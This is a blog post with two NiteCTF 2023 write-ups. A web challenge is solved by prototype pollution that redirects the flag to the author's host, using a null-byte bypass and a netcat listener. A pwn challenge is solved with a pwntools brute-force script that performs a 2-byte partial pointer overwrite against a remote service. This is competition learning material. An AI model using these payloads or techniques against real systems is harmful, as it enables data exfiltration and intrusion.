Home NiteCTF 2023 Challenges
Post
Cancel

NiteCTF 2023 Challenges

Writeups

These are two challenges which I found interesting from NiteCTF. Just 1x pwn and 1x web.

web/Mini Survey

Downloading the source, we see this is a Javascript challenge immediately observing some unusual practices:

1
surveyOneInitialData[fieldInput1] = { [fieldInput2]:  fieldInput3 };

Placing user input into square bracket notation such as the above can lead to Prototype Pollution in objects. Judging by the fact that this endpoint is named PollutionSurvey and the various Object operations occuring we can probably assume this challenge will entail some Prototype Pollution.

1
2
3
4
5
6
7
8
9
10
app.post("/pollutionsurvey", (req, res) => {
	let  fieldInput1  =  req.body.name;
	let  fieldInput2  =  req.body.city;
	let  fieldInput3  =  req.body.pollutionRate;
	surveyOneInitialData[fieldInput1] = { [fieldInput2]:  fieldInput3 };
	surveyOneInitialData  =  updateDBs(surveyOneInitialData, {
		Name: { City:  "Rating" },
	});
	res.redirect("/thankyou");
});

This is the full endpoint. We may pollute the object however we wish and it will be passed into an updateDBs() function call. This function is defined below.

1
2
3
4
5
6
7
function updateDBs(dataObj, original) {
	let  commData = Object.create(dataObj);
	commData["flag"] = "nite{FAKE_FAKE_FAKE_FLAG}";
	commData["log"] = "new entry added";
	sendData(commData);
	return original;
}

So it is going to instantiate an Object using Object.create(dataObj) where dataObj is our polluted Object instance. It will then append the flag to the data object and pass this new data object to the sendData() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function sendData(data) {
    const postData = JSON.stringify(data);

    if (data.host != undefined) {
        backupServerHost = data.host;
    }

    if (data.port != undefined) {
        backupServerPort = data.port;
    }

    const options = {
        host: backupServerHost || "localhost",
        port: backupServerPort || "8888",
    };

    if (
        typeof options.host === "string" &&
        options.host.endsWith(".ngrok.io")
    ) {
        const socket = net.connect(options, () => {
            socket.write(postData);
            socket.end();
        });

        socket.on("error", (err) => {
            console.error("Error", err.message);
        });
    }
}

There’s quite a bit to unpack here. We may define a data.host or a data.port which will update the backupServerHost and backupServerPort variables respectively.

Our host must be of type string and end with .ngrok.io which hints towards us using the ngrok service to retrieve the flag. From here, the attack should be a bit more obvious.

Back to the endpoint, particularly the line containing surveyOneInitialData[fieldInput1] = { [fieldInput2]: fieldInput3 };. We will need to define fieldInput1 as __proto__ to pollute the prototype. We will then define fieldInput2 as host and fieldInput3 as our ngrok URL. The default port will be 8888.

However, we may also pollute the port separately. Because these are globalized variables they will be set to whatever value they were last polluted to.

I am not a fan of the ngrok service. There are many issues with using it for this challenge (specifying ports, requiring user confirmation before accepting requests, etc). As such, I tried to bypass this using a nullbyte. We can pass our host as myhost.com%00.ngrok.io and it will send the data to myhost.com due to the nullbyte termination. This was unintended but certainly useful.

So I opened up a reverse shell connection using nc -lvnp 1337 and then sent a request to the website to pollute the port variable to 1337:

1
name=__proto__&city=port&pollutionRate=1337

After this, I simply polluted the host variable to send it to my IP address 1.3.3.7 to collect.

1
name=__proto__&city=host&pollutionRate=1.3.3.7%00.ngrok.io

Then we get the flag!

nite{pr0t0_p0llut3d_116a4601b79d6b8f}

pwn/The road not taken

This was a pretty fun binary exploitation challenge. Running checksec we see that there is no canary and Partial RELRO but PIE and NX are both enabled.

Opening in Ghidra we can get an idea of what it’s doing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void main(void)

{
  undefined buf [520];
  code *wrongdirection;
  
  setbuf(stdout,(char *)0x0);
  setbuf(stdin,(char *)0x0);
  wrongdirection = ::wrongdirection;
  puts("Can you please lead me to the right direction to get to the flag?");
  read(0,buf,522);
  (*wrongdirection)();
  return;
}

So it’s instantiating a stack variable containing a pointer to a function which it later calls. This is always pretty dangerous as stack variables can be a lot more susceptible to buffer overflow attacks. We can see the buffer in this case is 520 bytes but the call to read() allows us to write 522 bytes to the stack. This is a 2 byte overflow.

Given that PIE is enabled, it would be unrealistic for us to overflow to anything useful (given the address randomization). As such, it became obvious that we would be using this two byte overflow to partially modify the pointer address by changing the last 2 bytes to point to something more useful.

We can see the functions below.

1
2
3
4
5
6
7
8
9
0x0000000000001000  _init
0x0000000000001030  puts@plt
0x0000000000001040  setbuf@plt
0x0000000000001050  read@plt
0x0000000000001060  _start
0x0000000000001159  rightdirection
0x000000000000117e  wrongdirection
0x0000000000001194  main
0x0000000000001208  _fini

It’s pretty clear that we need to overflow to the rightdirection function. From running the binary and analyzing with pwndbg I noticed that PIE was randomizing the addresses each run but the last byte remained the same. Since we can overflow the last 2 bytes, we know we will want to overflow a \x59 to correspond to rightdirection but we don’t know the correct byte preceding this.

However, there’s only 256 possible bytes so we can just brute force this. My script is below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
local = False

context.log_level = 'error'

for i in range(256):
        if local:
            p = process('./the_road_not_taken1')
        else:
            p = remote('34.100.142.216', 1337)

        print(p.recv())
        payload = b"A"*520
        payload += "Y".encode() + chr(i).encode()
        try:
            p.sendline(payload)
            print(p.recvuntil(b"}"))
            break
        except EOFError:
            pass

When running it, we eventually get our flag. nite{R0b3rT_fro5t_ftw_32dx5hp}

This post is licensed under CC BY 4.0 by the author.